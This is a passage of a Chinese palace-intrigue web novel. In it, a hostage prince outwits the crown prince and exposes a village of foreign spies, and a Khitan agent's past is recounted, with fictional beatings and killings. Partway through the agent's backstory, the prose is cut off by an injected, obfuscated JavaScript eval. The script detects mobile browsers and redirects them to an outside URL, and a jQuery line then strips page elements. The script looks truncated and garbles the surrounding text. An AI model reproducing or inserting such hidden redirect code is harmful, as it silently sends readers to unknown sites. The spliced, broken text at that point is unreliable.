“太傅近日都是午时之后方起吗?” “回殿下,太傅近日五更睡,日中起,晚睡晚起。老衲这就去唤他。” “不必了,让先生好好休息,本宫在此等着。” 阿勒齐睡梦中忽听脚步声,马蹄声,急忙摇醒萧照世子。 “世子,醒醒,有军队来了,听声音还不是一般的军队,起码是训练有素的一支。” 萧照赶紧起身,两人迅速穿上衣服,拿起刀剑,这时,门外有声音传来:“太子殿下邀请二位到佛堂饮茶。” 太子殿下来了?京都戒严,全城风声鹤唳,太子殿下这时候居然还有心思来寺庙?是发现了什么吗?不对,喀沁如今是无论如何都对大渊构不成任何威胁,太子殿下没必要为了一个弱国质子特意来一趟。 “世子,要见吗?” “见吧,不是冲着咱们来的,好好装孙子就行了。” 佛堂内,二人一见到太子殿下就噗通一声跪下了,装作惶恐的样子:“参见太子殿下,太子殿下千岁千岁千千岁。” “免礼平身,过来坐吧,算起来,你我身份相当,不需多礼。” 两人慢慢起身,一点点挪到角落里坐起来。 “喀沁世子,听说你给自己起了个汉人名字——萧照,还偷偷学起了四书五经,甚至,连授业恩师都是本宫的先生,喀沁世子,你就这么喜欢读书吗?” 萧照火速又跪了起来,不住地往地上磕头,惊惧异常:“回殿下,臣惶恐,臣有罪,臣万万不敢有任何非分之想,臣只是日日陪太傅饮酒解闷,插科打诨,烤些烧鸡吃。” “都是千年的狐狸,就不要在本宫面前藏拙了,萧照,拙比巧难,宁巧勿拙,别做文人了,还是好好做你的喀沁世子。” “臣没有,臣不敢。” “萧照,你自入京都以来,无所事事,四处闲逛,偷鸡摸狗,连本宫都曾一度以为你不过是个胸无大志的市井小偷,可近日,本宫想起了一些往事。” 萧照世子依旧跪坐,不敢抬头。眼神却十分清明无畏,他回忆过往种种,自信自己除读书求学以外从未露出过任何破绽。 “你生于战乱,先天不足,襁褓之中数月不得治,那一年,喀沁大汗向大渊皇室进贡百匹汗血宝马,以借调宫廷御医两名,保你性命无虞。代价不可谓不重。” “父母之爱子,人之常情。” “非也,喀沁大汗有十多个儿子,本宫还从未听闻他对其他儿子有过这般用心。” “父母之偏心,也是人之常情。” 太子殿下不禁笑了一下,接着说:“那是因为喀沁大祭师曾预言,喀沁一族生死未来皆系于你一身。” “殿下怎知此事,此乃我喀沁秘辛,我部族人尚不知此事。”萧照第一次抬头,看着太子殿下,心中疑云密布。 “两军交战之前,本宫要洞悉敌军的兵马粮草,排兵布阵,主帅将领,三军战力,辎重军需,这些细枝末节,本宫要比敌军主帅知道的还要详尽,此战,本宫方敢打。我大渊不是好战之师,兵力战力并不占优,唯有如履薄冰,提前洞察一切,方可长存。” “不过是乡里神棍的招摇撞骗,不足道也。” “可那位大祭师预言过冀州一役,万人去,百人归,腹背受敌,生死存亡。也曾预言过契丹忧患不在外,而在内。前一个预言已成,后一个如今看来,怕是也八九不离十了。” 喀沁世子一边听着太子殿下的言语,一边细细盘算该怎么打消太子的疑虑。电光火石之间,他想起了大渊皇室的暗流涌动,决定攻心为上。 “回殿下,大祭师确实说过,阿达也正因如此才对我偏爱有加,寄予厚望。” “喀沁大汗那么多儿子,为什么要送最寄予厚望的那一个到京都当质子。” “回殿下,是臣自愿而来的,臣不是为自己,臣是为了阿达。” “何出此言。” “十年之间,父子一梦,喀沁重新崛起是阿达毕生所愿,臣不愿破坏这个梦。” 萧照悄悄观察了太子的神色,继续说道:“臣出生之日,大祭师预言喀沁未来生死与否,崛起与否,皆系于臣一身。这预言,于阿达,是希望,是夙愿,可于臣来说,是毕生枷锁,沉重不堪。” “阿达对臣寄予厚望,故臣自幼勤学骑射,兢兢业业。可臣实在是资质平庸,不堪众望,太子殿下,您越了解臣,就越能知晓臣不过一介凡夫,哪堪大任啊!可臣实在不敢让阿达发现臣就是一介凡夫而已。” “所以你就自小离开喀沁,宁愿到京都为质,偷盗度日。” “独留京都,故土远似天,如此,阿达便不会发现臣只是个俗人了,这是臣唯一能为父所尽的孝事。” 太子殿下有所动容,萧照见此,继续说道:“自冀州一役后,我喀沁如流星坠地。此战之前,我喀沁所向披靡,战无不胜,可此战后,我喀沁竟连一战之力都无,万人去,百人归,阿达亦是死里逃生,一身伤病。” “如此由盛转衰,喀沁大汗怕是此生都不能释怀了,耿耿于怀之际,偏偏大祭师这时候告知他,你可改变喀沁一族命运,想必是久旱逢甘霖,山穷水尽遇生路,难怪喀沁大汗不惜进贡百匹汗血宝马也要为你求医。” “若没有臣这个渺茫希冀,怕是阿达早已郁郁而终了,殿下,与其说臣为人子,倒不如说臣更像是一族一线生机的一场大梦,与其说阿达爱子,不如说阿达更爱三千里华丽江山。臣此生唯一能做的便只有勤练骑射,苦读诗书,装作草原骄子,聊慰阿达夙愿,可臣尽力了,臣有自知之明。” 萧照世子语气激昂,慷慨陈词,每到言语激烈处,竟有几行热泪涌出,分不清是善于伪装,还是真情流露而不自知。 “殿下,臣这些年来兢兢业业,如履薄冰,尽为他人而活,为了一场空话空梦而活,臣不过就是一介凡夫,可凡夫,就不配有心吗?臣也是人,臣如今只想苦读诗书,既然注定当不了草原骄子,那就做草原人都做不到的读书人,让阿达相信,他的世子确非凡物。” 太子殿下深思了一会,像是回忆起什么,很快又神色如常,淡淡说道:“梦终究是会醒的。这一切,不是你所能掌控的,亦不是你的过错。”< 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“你永远不会懂,因为你的阿达很爱你,你经历的是纯粹的父子之情。” “大汗也很爱世子,他对世子寄予厚望,他说您是喀沁部族的希望。” “正是如此,我和阿达的父子情里夹杂过多家国希望,谋算,压抑,愤恨,算下来,十几年父子,谋算也远多于温情。” “世子的意思是……” “我有三位哥哥,都死于冀州一役,大哥为了阿达平安撤退,亲率残兵殿后,死于大渊乱军之中,二哥曾为大渊质子,阿达攻打冀州当日,二哥便死于京都。冀州战败后,三哥赶来支援,路上追兵穷追不舍,阿达抢了三哥的马,逃回了喀沁,三哥也因此死于敌军之中。” “世子,这些你从没和我说过。” “阿勒齐,往事如烟,我说与不说,又能改变什么。若不是当年大祭师预言我是一族兴衰,恐怕我也如同其他兄长那般,生死由命,不由己。” “世子,不是这样的……” “阿勒齐,是你不懂,生于王室,哪还有什么亲情可言,这一点,太子知我。我想,他既知我,大抵能默许你我二人继续读书了。” 阿勒齐一脸惊讶,“世子,你说半天,就是,为了继续读书,在太子眼下继续读书,世子,你是真爱读书啊。” “不单如此,读书,只是一切的开始。” 午时已到,楼景谦沉沉醒来,不免有些头疼,管家在一旁告知,太子殿下已等候多时了,什么?太子殿下到倦山寺了,楼景谦恍惚,一时分不清是梦,还是现实,可又怕是梦,怕这些年的一切都是场大梦。 一刻钟后,楼景谦赶到佛堂,太子殿下出门迎接。 “殿下,京中凶险,您没事吧。” “先生,无事,本宫已将一切安置妥当。” “殿下,切不可大意啊,朝堂,宫廷,哪一个不是刀光剑影,防不胜防。殿下需日日小心,时时留意。” “先生,今日不谈国事,只谈家事。先生近日可还安好?” 9. 倦山寺有问题 萧照看着阿勒齐熟练地拎着一只鸡上山了,两眼一黑。 “阿勒齐,这鸡怎么还活着?” “世子,鸡不是现杀才好吃吗?太早弄死,等赶到山上,再起锅烧水蜕皮拔毛,也就没有那么鲜了。” “阿勒齐,你偷的是活物,不是死物,万一路上鸡鸣几下,山下村民岂不立刻就发现了。” “世子放心,山下村民都挺笨的,我偷了这么多天,还从未有过失手之时。” 说者无心,听者有意,萧照世子心中警铃大作,倦山寺山脚下的那片村子不对,有问题。 京都戒严,想必城中必然是物价飞涨,粮食难求,这对京中人来说,是天有不测风云,可于京郊农户来说,却是天上掉馅饼了,千载难逢的好时候。怕是此时,乡间人随意所种的豆苗都比平日的大鱼大肉价高。 事出反常,倦山寺下的村子,在京都戒严后,居然依旧每日日出而作,日落而息,耕田而食,凿井而饮,也未免太安分了,那些豢养的鸡鸭,牛羊,此时不买给城中人,更待何时? 此外,阿勒齐最近偷得也过于顺利了,民以食为天,当真会有农户每日丢失家禽而毫无觉察吗?除非,他们本就不是农户,他们在意的也不是庄稼收成和家禽。 “阿勒齐,你放下鸡,马上就回寺院睡觉,今夜子时我们一起下山,到山下村子里去偷村。” “为何,世子,想偷哪家跟我阿勒齐说声便是了。” “我的意思是,我们联手,将村子里的每家每户都偷一遍。” “世子,我们虽然穷,但是也还没穷到这个地步,村民种点地也不容易啊。” 世子无语,“你平时偷鸡吃鸡的时候可曾想过农户们粒粒皆辛苦,这天下本就弱肉强食,更何况,你怎知他们就一定是老实本分的农户。” 子时,月色皎洁,夜风凉凉,正是随风潜入户,顺物细无声的好时候。 两人不一会便将全村偷盗完毕,每户所盗皆有不同,有偷家禽,有偷农具,有偷粮食,有偷布衣…… 萧照和阿勒齐继续潜伏村中,观察村民反应。 出人意料,几日来,全村未有异动,彷佛被窃而不自知。 “世子,这人怎么能笨成这样,我们都偷了这么多东西,每户都摸了个遍,就这样都没有一户发现家里少了什么?” “说明他们的心思根本不在男耕女织上,阿勒齐,他们不是村民,是探子。” “探子?一整个村都是探子,谁这么大的手笔?” “抓一个问问不就知道了,阿勒齐,你平时总偷哪家的鸡,一会把那家主人给我悄悄抓来。” 很快,阿勒齐便背着一个麻袋上山了。到半山腰,阿勒齐吹了两声口哨,萧照世子从山林走出。 一碗水泼进去,麻袋里的人很快就醒了。“谁,谁这么大胆子,敢抓我,知道我是什么人吗?” 阿勒齐将一把匕首抵在了探子喉咙处,“不想死的话就快说你是谁派来的探子。” “我只是山下本本分分的庄稼汉,不知道你说的是什么意思。” “哦,庄稼汉,那你还记得你一共种了多少亩地,养了多少只鸡吗?” 男子迟疑了一会,说道:“大概有七八亩地,十来只鸡。” “胡说,你现在只有六只鸡了,其他的都被我给吃了。” “什么,你居然敢偷我家的鸡,好大的胆子。” 阿勒齐对着那名男子一顿拳打脚踢威逼利诱,那男子方肯说:“我说,别打了,我说,其实,我是太子手下的探子。” “我且问你,芒种是几月初几,春分是几月初几,祖坟是依倦山还是远倦山,是离护城河近还是远,祠堂是第几代,族长是乡族长还是家中长辈?”世子问道 男子一脸茫然,不知如何作答,阿勒齐又开始打他,说不说,还不快说?至少能死得痛快。 “求求少侠,别再打了,不是我不想说,是这些问题我是真不知啊。” “你不是汉人,否则,怎会连春分芒种都不知,你也不是南境那边的,不然不会连祖坟风水祠堂都不懂,说,你究竟是北羌人还是契丹人。” “我是契丹人。”男子很快回答。 “只有刚才那句话你答得没有犹疑,你,是北羌人吧。”萧照世子确信道。 男子一脸不可置信,反问道:“你们究竟是谁,只不过,不管是何方神圣,如果你们敢杀了我,就不怕日后我的族人给我报仇,将你们五马分尸吗?” 阿勒齐拿起刀子,佯装要捅下去的样子,男子见状急忙说,“别杀我,我还知道很多消息,你们难道就不想知道吗?” “京都戒严,你们最近忙着谋划什么,以至于连家里少了半数的鸡都没发现。” “到处打探消息,上头好像和京都的某位皇子断了联系,可京都戒严,派出去的多股势力都无功而返。” “哪位皇子?” “那肯定不是太子,不然这厮就会说和京都的太子断了联系。”阿勒齐顿觉自己聪慧无比。 “不知道是哪位皇子,这恐怕只有我们世子才能知道,我们这些属下只知道那位皇子原本九月要来倦山寺小住一段时日,与我们世子商议什么,最后不知为何迟迟不来。” 世子抬手示意,阿勒齐心里神会,将男人打晕丢下山崖,伪装成失足坠崖而死。 回去的路上,世子一直在想,大渊究竟是哪位皇子通敌叛国,为何原定九月去倦山寺和北羌世子商议要事,却迟迟未出现。是在九月,发生了什么要紧大事,让那位皇子自顾不暇,可九月,只有周文甫,李苍雪一案闹得沸沸扬扬,而这一案中,受到牵连的只有太子。 会是太子吗?不会,太子刚刚到过倦山寺,看山下那群探子的反应,太子看样子不是他们正在等的人。 “世子,北羌人也太奸诈了吧,山下一整个村子,居然都是他们的暗桩。” “不仅如此,北羌对大渊早已虎视眈眈,不仅是山下的村子,就连京都都怕是有不少。没准你平日所见的茶楼小厮,街边乞丐,杂耍卖艺的,都有可能是北羌的探子。” “这么多啊?我们喀沁怎么不派些探子来。” “嗯,阿勒齐,其实你我也算是探子。” “哦,是啊,我都忘了。世子,这些天我都把自己真当成读书人了。” “北羌那么有能力,既然能派这么多探子,为何不直 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楼景谦重重叹口气,“尸骨都不存,去哪祭啊?天下之大,竟无二位兄长魂归之处。” “先生,周,李二位先生是文坛大家,精通诗书,学生以为,两位先生从未离去,纵使血肉融成冰雪,自洁于世,倾盖天下,其魂,亦从未远去,其魂,即书魂。” 楼景谦双手颤抖,“你是说,可用书卷祭奠两位兄长,是啊,两位兄长一生苦读,终其一生为往圣续绝学,兄长,活在书中,自在书中。” “那学生去安排祭祀事宜。” “不可,此事不可牵连到你,况且,你与二位兄长只有一面之缘。此事宜为师亲自来祭,这也是为师的心愿。” 萧照世子将香烛等贡品放下后便退下了。 一个时辰后,阿勒齐回来了。 “趴在房梁上可有人发现。” “世子,并没有,我一早就在了,那时天还没亮,太傅还没起呢。” “可有听到什么?“ “听个七八成,太傅一直在哭诉,对着那几本书一直在说些陈年往事。” “可有什么是与京都皇子有关的。” 阿勒齐回忆了一会,突然想到:“对了,是有一件。太傅对着那几本书说‘兄长,明明大皇子已做好万全准备,可以密送二位兄长逃离京都,远走高飞,为什么,偏要以身殉道,为什么明知山有虎偏向虎山行,为什么偏要撞南墙,兄长,您爱这大渊王朝,可这大渊王朝何曾爱过兄长’,世子,我记得的大概就是这些了。” 是大皇子?难道说在九月,突发了周,李两人的事,大皇子为保两人性命苦心布局,想在天子眼皮底下将二人送出京都,因此才与北羌人失约,没有赴九月倦山之行。 可是,以陛下手段,要救周李二人难如登天,一向深居简出,低调内敛的大皇子凭什么有把握能将朝廷重犯送出京都,连太子都做不到的事,救不了的人,大皇子居然能安排好一切。 “世子殿下,怎么了?” “没什么,只是觉得京都很有趣。” 10. 鲤儿 深夜,京都某处戏班内,诸位黑衣人现身,人人皆着夜行衣,头戴面具,彼此互不相识,不知男女。 “诸位,近日京都探查得如何了。“屏风后传来一男子声音。 “大渊太子决定不日解除京都戒严。”一人说道。 “太好了,近日京都戒严,什么都探查不到,只能日日龟缩一隅,憋屈死了。”另一人说道,其他人纷纷表示赞同。 “诸位皇子可有何动作。” 黑衣人中有人站出:“回主子,大皇子闭门不出,朝中有大臣想暗中联络大皇子,尚不得见。” 一黑衣人也站出:“回主子,二皇子近日暗查大渊皇帝遇刺一案。” 又一黑衣人站出:“回主子,五皇子和六皇子近日频繁结交朝中大臣,有结党之嫌。” “大渊太子对这些皇子的异动看在眼里,可有所应对。”屏风后男子继续问道。 一黑衣人答:“太子软弱,难堪大任,未有所动,任由诸位皇子结党营私,联络朝臣。” 突然,黑衣人中有一女子声音传出:“回主子,属下觉得,诸位皇子并无反心,是故,太子也勿需出手。” 其他黑衣人纷纷发出嘲笑的声音,一人说道:“京都戒严,不安分守己好好呆在王府,偏要偷偷联络朝臣,明摆着就是想得到朝臣的支持来夺嫡。” “是啊,是啊,这天下哪有不想当太子的皇子,更何况如今老皇帝生死未卜,鹿死谁手,还未有定数。”其他黑衣人纷纷附和。 那名女子继续说道:“主子,京都戒严,此时联络朝臣毫无用处,若真想取太子而代之,最该联络的,不是朝臣,而是军队。” “那你说说,诸位皇子为何要如此。”屏风内的男子终于开口。 “大渊皇帝遇刺,八成是太子的手笔,既然太子敢对陛下出手,自然是不惧区区几位皇子的,且京都戒严,此乃血洗京都的好时机,也就是说,太子随时能置诸位皇子于死地。” 女子继续说道:“反观诸位皇子,必是人人自危,惶惶不可终日,定然是要联络朝中重臣,以求自保。” 众人嗤笑:“你三言两语的胡说八道,难道比我们众位兄弟日夜监视亲眼所得可信吗?真是笑话,要按你这么说,那我契丹还用得着每年使那么多银子派那么多探子到大渊吗?” 只见那名女子不为所动,继续说道:“主子,戒严期间,京都诸皇子有所动作是人之常情,怕的就是,静观其变,隔岸观火,属下认为大皇子该查。” “大皇子?大皇子自小不受大渊皇帝喜爱,无权无势,一向深居简出,近几年竟一心修上佛了,怕是再过几年,就要剃头出家了。” 众人一片嬉笑。 “主子,属下猜测,不是大皇子无所动作,而是他的动作我们无法探查,或者说,在我们以为大皇子闭门礼佛的时候,大皇子已经在动作了。” “你的意思是我们疏于职守,跟丢了大皇子。” “属下不是这个意思,属下是觉得大皇子形迹可疑。” “哼,哪来的形迹可疑,你才刚来京都几天,我们这帮兄弟潜伏在京都十几年了,你有的不过是一番猜测,可我们是实打实风吹日晒一眼一眼盯出来的,你算是什么东西?” “可属下觉得探查不仅要日夜监视跟踪,更是要时刻揣测其心思……”女子仍不肯放弃。 “下去领二十军棍。”屏风后的男子打断了那名女子的言语。 契丹的二十军棍不同中原,更狠更毒。执刑之人毫不手软,也不因受刑人是女子而好言好语几分,二十军棍甫一结束,便将女子踢了下去,问道:“主子问你,可知犯了何错。” 女子痛得脸色发白,额头上细细密密全是汗珠,一时说不出话。 执刑人又重重踢了她一脚,问道:“可知何错之有?” 女子深吸一口气,缓缓道:“回主子,属下知错,错在未有真凭实据就贸然猜测,属下错在不该胡言乱语,扰乱军心。” “主子说了,探查监视,重在监视,所见即所得,不应胡思乱想歪屈事实,也不该说大话空话,让真正风餐露宿执行任务的兄弟心寒。谍报,事实为重,眼见为实,奇思乱想只会误了大事。” 眼见女子不说话,执刑人又问道:“新来的,主子说了那么多,你可记住了。” “属下谨记。” 执刑人似乎得到了满意的回复,很快便离开了,只留女子一人,趴在地上。 良久,女子挣扎身子,尝试站起,未果,最后一点点挪动身体,缓缓爬回家。 所幸京都戒严,这一路上未曾有人发现女子,在路上艰难爬行,身体痛到极致,可脑中一些陈年往事却挥之不去。 那一年,父母带着她一起逃难,母亲已身怀六甲,路上大抵是疲乏异常,竟早产了。 一同逃难的一位老妪帮着接生,出来后摇摇头,“夫人大抵是不行了,有血崩之相。” 父亲只是一脸焦急地问:“是儿子吗?” 老妪怔了一下,随即说:“倒是个儿子,不过母亲活不成,没有奶水,只怕孩子也活不了多久。” 听到老妪的回答后,她明显感觉到父亲是开心的,这一路上逃难,流离失所,父亲怕过,气过,怨过,累过,唯独没有开心过,她不懂,母亲明明快死了,父亲有何可开心的。 父亲在逃难途中很快找到一个妇人,那妇人有奶水,父亲请妇人喂养弟弟,可妇人却开了天价,喂一天一两银子。 不到一月,父亲的银子就花了大半,父亲决定,把她卖掉。 女孩天生丽质,有位老鸨在灾民堆里一眼便看见了她。 “五十两,这个女孩我要定了。”老鸨一脸志在必得。 父亲打量了一眼老鸨,想了半天,最后说道:“我卖女儿,但是不卖给青楼。” “哟,都卖女儿了,还清高起来了。你去打听打听,整条道上谁有我出价高,我劝你还是识相点,过了这个村就没了这个店。” 可父亲还是不愿将她卖给老鸨,即使后来老鸨已经出价到七十两银子了。那一刻,女孩是开心的,她觉得,父亲还是舍不得卖她。 黑市里的三教九流来来往往,很快有一个管家来问价。 “丫头片子长得挺俊,多少钱,我替我们家老爷要了。” “五十两,只多不少。” 管家很快同意,正准备掏钱袋子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805569|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父亲突然说道:“你买回去可以让他当小姐丫鬟,我可以替她签死契,这孩子心眼实,定是个忠心耿耿一心护主的良婢。” 管家往地上吐了一口唾沫,“我呸,丫鬟五两银子一个,我脑袋被开水烫了去买一个五十两的丫鬟,我买她是给我们家老爷当小妾的,要不是看着这女娃长得还行,二十两都能买了。” “你们家老爷多大年纪?” “七十二了,家大业大,可越老越寂寞,这不让我出门给他买几个小妾解解闷。” “我不卖,我的女儿不卖给老头做小妾。” “呸,有眼不识泰山,你出去打听打听,多少人家抢着要把闺女白送给我家老爷当小妾,真是不识抬举。浪费小爷我时间。” 在黑市里呆了几天,她还是没被卖掉,可父亲的银钱剩得不多了,一旦没有银子,那位妇人便不再喂养弟弟。父亲决定,在银钱用完之际务必要将女儿卖掉。 那一日,一个契丹人仔仔细细地打量了她的脸,很是满意,问道:“这女子多少钱,我要了。” “五十两。” “行。”契丹人痛快地将钱袋给了父亲。 “你买她做什么?” 契丹人想了想,说:“做苦力。” 父亲说了句好,便将她抱给契丹人。 女孩极其不愿,挣脱大人双手便要跑,父亲把她拦住,告诉她:“孩子,你生来就是要吃苦的,这是命。” 女孩不再反抗,跟着契丹人走了,半路上,女孩突然猛地回头看向父亲,她下定决心,要把父亲的脸完完全全地记住,此生都不能忘记。 父亲看着女儿突然回头看向自己,一时间泪流满面,情难自已。 到契丹之后,女子每日刻苦训练,十年如一日不曾有丝毫懈怠,不到十七岁,便成了契丹最优秀的暗探,在围场兵变里为耶律权立下赫赫功劳,也在血洗老契丹王血脉中贡献斐然。 耶律权篡位成功后,决定找个时机将她送到大渊,她的故土,在大渊京都狠狠扎下这枚契丹尖钉。 “去京都之前,你有什么想做的尽管去做吧。切记,去京都后,除了本王,不许向任何人泄露你的身份。” “诺。” “你的新名字是鲤儿,新身份是一名普通契丹女子,是本王要献给大渊太子的美女之一。记住,你和契丹王宫没有任何关系。” “诺。” 去京都之前,鲤儿找到了父亲,她将刀抵在父亲的喉咙前,问道:“当年为什么说我生来就是受苦的命。” “我这辈子断子绝孙,你母亲生下儿子就死了,你弟弟不到一岁便高烧不治身亡,凭什么你生下来就是好好的,凭什么只有你出生的时候天下太平?凭什么最后就你活下来了。” 父亲最后哭着说:“凭什么你的命那么好,即便被卖给契丹人,也能养得不错,凭什么,你的命本该是最苦的,凭什么到最后你反而活得最好?” 父亲一直哭诉着,怒斥苍天不公,鲤儿一刀结果了他,霎时间,鲜血喷涌,满墙皆红。 很多年后的陋巷,在挨了二十军棍后爬回家的那条路上,鲤儿抬头望月,笑道:“爹,如你所愿,我这一生都在受苦。” 11. 太子大怒 东宫太子府,太子在看了一份奏表后勃然大怒,令东宫府兵将沈惟宣即刻押来,不得有失。 沈惟宣跪在堂下,不知犯了何罪,怎么早上还是好好的户部侍郎,晚上就已经是太子口中十恶不赦的千古罪臣。 太子将那份奏表直接扔到沈惟宣的脸上,“沈卿,好好看看你写的奏表。” 沈惟宣捡起那份奏表,念道:“自京都戒严以来,城中百姓安居乐业,日日生活井然有序,邻里和睦,阖家欢乐。天下万民无不感念太子与陛下所施仁政,庆幸得遇明君,爱民如子,京都人家每户皆日日闭门祈福,祈佑我大渊万世昌盛,祈佑陛下万岁万岁万万岁,祈佑太子殿下千岁千岁千千岁。” 沈惟宣再三诵读,依旧不知何罪之有,这不就是一份简简单单的奏表,话虽是夸大了些,可这不就是做官的日日所说的漂亮官话,为何今日太子如此生气呢? “回殿下,臣所说句句属实,不知何罪之有。” 太子怒道:“沈惟宣,你为官多年,从不见为百姓做几件好事实事,反倒一再弄虚作假,步步高升,本宫念你虽不作为却也不鱼肉百姓,故而忍你良久。可如今,京都戒严,百姓生活水火之中,你居然弄假到本宫头上了。” 沈惟宣急磕几个响头:“太子殿下恕罪啊,臣,冤枉啊,臣也是受人蒙蔽,户部那群人,他们,他们欺上瞒下,禀告臣京都百姓都过得挺好,下人误臣,臣也不知,京都百姓生活竟如此之艰。” 太子殿下忍不住骂道:“厚颜无耻,你这朝中蛀虫,本宫真是恨不得将尔千刀万剐,放入油锅煎炸烹煮。” “臣不得而知啊,臣夜夜视察,京都人家户户灯火通明,家家有欢笑,臣也是被蒙蔽了。” 太子殿下又丢了几本奏章过去,“蠢钝如猪,戒严期间,粮食蜡烛柴火皆紧缺,要按你这么说,若是家家灯火通明,那把整个京都都烧了融成蜡也不够这么点的。” “殿下的意思是,灯火通明,家家有欢笑都是底下人做给微臣看的,等微臣一走,便熄了蜡,止了欢笑。殿下,他们如此欺上瞒下,此事臣求殿下让臣彻查啊。” 太子殿下怒极反笑:“沈卿,别演了,你为官过年,也算是一步步爬上来的,你怎会不知下面的人欺上瞒下。” “臣确实不知啊,是诸位同僚误臣。” “沈卿,本宫听说你自上任户部侍郎,户部大小筵席,你是一概不去,属下汇报,你是一概不听。各地官员上报,你是一概不信。反而时不时找工部要各地车马运输的奏报以查人口变动,找礼部要祭祀实录来查户籍变动,甚至,时不时半夜出府亲自观察京都火烛用量来确定京都人数。” 太子顿了顿,继续说道:“沈卿,你从不信任各地官员上报的奏表和文书,想必是因为浸淫官场多年,深知下面的人是如何欺上瞒下的。” 沈惟宣汗颜:“回太子殿下,户部不同于刑部和吏部有迹可查,朝廷又每年打几场小仗,各地方人说没就没,说跑就跑,地方官员为了政绩,所呈上的奏表和文书,都写出花了。” “殿下,从地方到中枢,再到殿下手里,这一层层,有太多可操作,可回旋的,臣也是哑巴吃黄连,有苦说不出啊。” “沈惟宣,怕是你也参与其中吧,这些年来,你们上面瞒下面,下面也瞒上面,瞒得官运亨通,瞒得不亦乐乎。沈惟宣,你明知道万家灯火是地方故意做给你看的,却还是隐忍不发,在奏章上粉饰太平。” 沈惟宣叹了口气:“殿下,臣的确也是这么一步步爬上来的,臣知罪。可满朝文武,哪一个又不是如此呢?” “如今本宫给你个机会,把你知道的真相都说出来,本宫可饶你不死。” “殿下,今日是臣第一次能对殿下说些真话,怕也是最后一次了,请殿下准许今日无论臣说出什么大逆不道的言语,都不要迁怒,也不要牵连臣的家小。” “本宫没那么狭隘,你想说什么只管说。” “殿下,不能再戒严了,陛下要是身体日渐康复,那就让他不要再醒来了,诸皇子要是想联络外族卖国夺嫡,就都杀了吧。朝臣中要是有重臣结党反对殿下,就满门抄斩斩草除根吧。陛下这些年来诸多行径,早已尽失民心,看似天下太平,实则百姓是敢怒不敢言,太子殿下,天下百姓心里可都压着一把火,如今您监国理政,切不能再火上浇油了。这把火一旦烧起来,大罗神仙都无力回天啊,到那时,不用契丹和北羌出手,我大渊必亡于内。” 沈惟宣闭着眼一鼓作气把这些年来想说却不敢说的统统道出,忽觉如释重负,正准备坦然赴死,一了百了。一睁眼,太子殿下伸手扶起他,这是,要扶我起来的意思吗?不杀我吗?沈惟宣有些吓傻了,好半天才站起来。 “沈卿,明日京都解禁,记得回户部复命。明日,本宫要看到你的奏表,切记,不可再弄虚作假了。” 一时间,沈惟宣不敢相信自己的耳朵,心中大起大落,百感交集,一度哽咽,最后只得说出:“臣领旨,太子殿下千岁千岁千千岁。” 沈府,沈夫人在门前等候,焦急无比。忽见沈惟宣踉踉跄跄走来,心中不免惊慌。 “夫君,出什么事了,太子殿下没有难为你吧。” “夫人,府里怎么这么暗啊,多点一些火烛吧,我沈府不该如此黯淡,今夜要灯火通明。” “夫君,你不要吓我,出什么事了,你快告诉我,是不是要满门抄斩,我不怕死,我只怕孩子跟着一起送了命,夫君,你是不是又说了些不该说的。” “夫人,你不用怕,太子殿下和陛下不同,他心善,不会杀我的。” “那,是要革职?也罢,能活着就好,这户部侍郎谁爱做谁做,咱一家人好好过日子就行了。” “不是,夫人,为夫一切都好,一会还要继续写奏表明日给太子殿下过目。” “就这些?” “就这些, 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两人四处查找了一番,发现连井口处的绳子和桶都被盗了,眼下家里真是白茫茫一片,家徒四壁。 世子急忙去地窖查看,发现里面的藏书还完好无损,顿时松了一口气。 阿勒齐见此,大呼痛心:“怎么不把这些书都偷走啊?什么贼啊这是,连马桶井桶都偷,居然不偷书,真是该偷的不偷,不该偷的全偷了。” 二人一打听方知,原来贼人是名女子,名叫鲤儿,是前段时间太子殿下赏给萧照世子的绝色美女。 阿勒齐:??? 世子:??? “赏给世子的女人,为什么要把世子的宅子偷了个底朝天。” 邻居说道:“那女子好像要变卖家当,换些本钱,然后找个时机追随太子殿下。对了,她还有封信留给你们。” “喀沁世子,见信如吾,当世子殿下见到这份信的时候,鲤儿已红杏出墙追随太子殿下了,请君勿怪。然也,想必世子殿下必然能理解鲤儿,若世子是我,一方是当朝太子,朝廷储君,未来天子,一方是草原世子,部族衰弱,日薄西山,这墙,难道你不出吗?” 萧照世子嘴角抽搐,咬着后槽牙说道:“好一个红杏出墙。好一个奸邪女子。” “红杏出墙是啥意思,为啥要出墙啊,咱院子里栽的那颗枣树被那女人挖了卖了,应该是红枣出墙啊。” “不是一回事,阿勒齐,红杏出墙的意思是她要踹了本世子另攀高枝去了。” 阿勒齐看到信上女子拿自家世子和太子殿下对比,不禁感叹,真是诛心啊,面上却装作云淡风轻的样子:“世子,我就说嘛,读书有什么好的,要是咱像以前那样大字不识一个,她写信看不起咱咱也看不懂,多好,多舒心。” “阿勒齐,你再多说一句,回去便多抄一百字。” 12. 解禁 京都,偌大的应天府书院,今日竟只有太傅楼景谦和韩厉两人。 楼景谦百思不得其解,问韩厉:“诸生不知今日解禁吗?人呢?怎么书院里只有你啊。” “回先生,正是因今日解禁,才不会有人。” “时隔多日,京都解禁,书院复学,朝廷复政,难道他们还在家中散漫,闭门不出,无所事事?” “先生,诸位同门今日早已告假,说是好不容易解禁了,定要游山玩水四处游历一番。” “胡闹,真是胡闹,区区一个解禁,心思便已飞到九霄云外去了,那日后若是遇到强敌入侵,生死一线,岂不魂飞魄散。” 韩厉无奈,转而劝道:“先生,您莫见怪,书院里全是晦涩难懂的经史古籍,自然是比不上外面世界的千红万紫,先生,您看看那一墙一墙的书卷字画,这世间,不会有少年愿意终其一生困于此。” “我愿意。”有一少年声音远远传来,铿锵有力。 韩厉和楼景谦回头一看,书院后门进来的正是萧照世子和阿勒齐。 萧照世子躬身行礼:“先生,学生萧照愿意此生与书卷为伴,终其一生苦读诗书。” 阿勒齐低头心说:“我不愿意。” 韩厉立马将门关上,确认四下无人监视后,转而问道:“世子,您是外族人,是万万不能到大渊书院求学问道的。您这是让先生陷于不义之地。“ 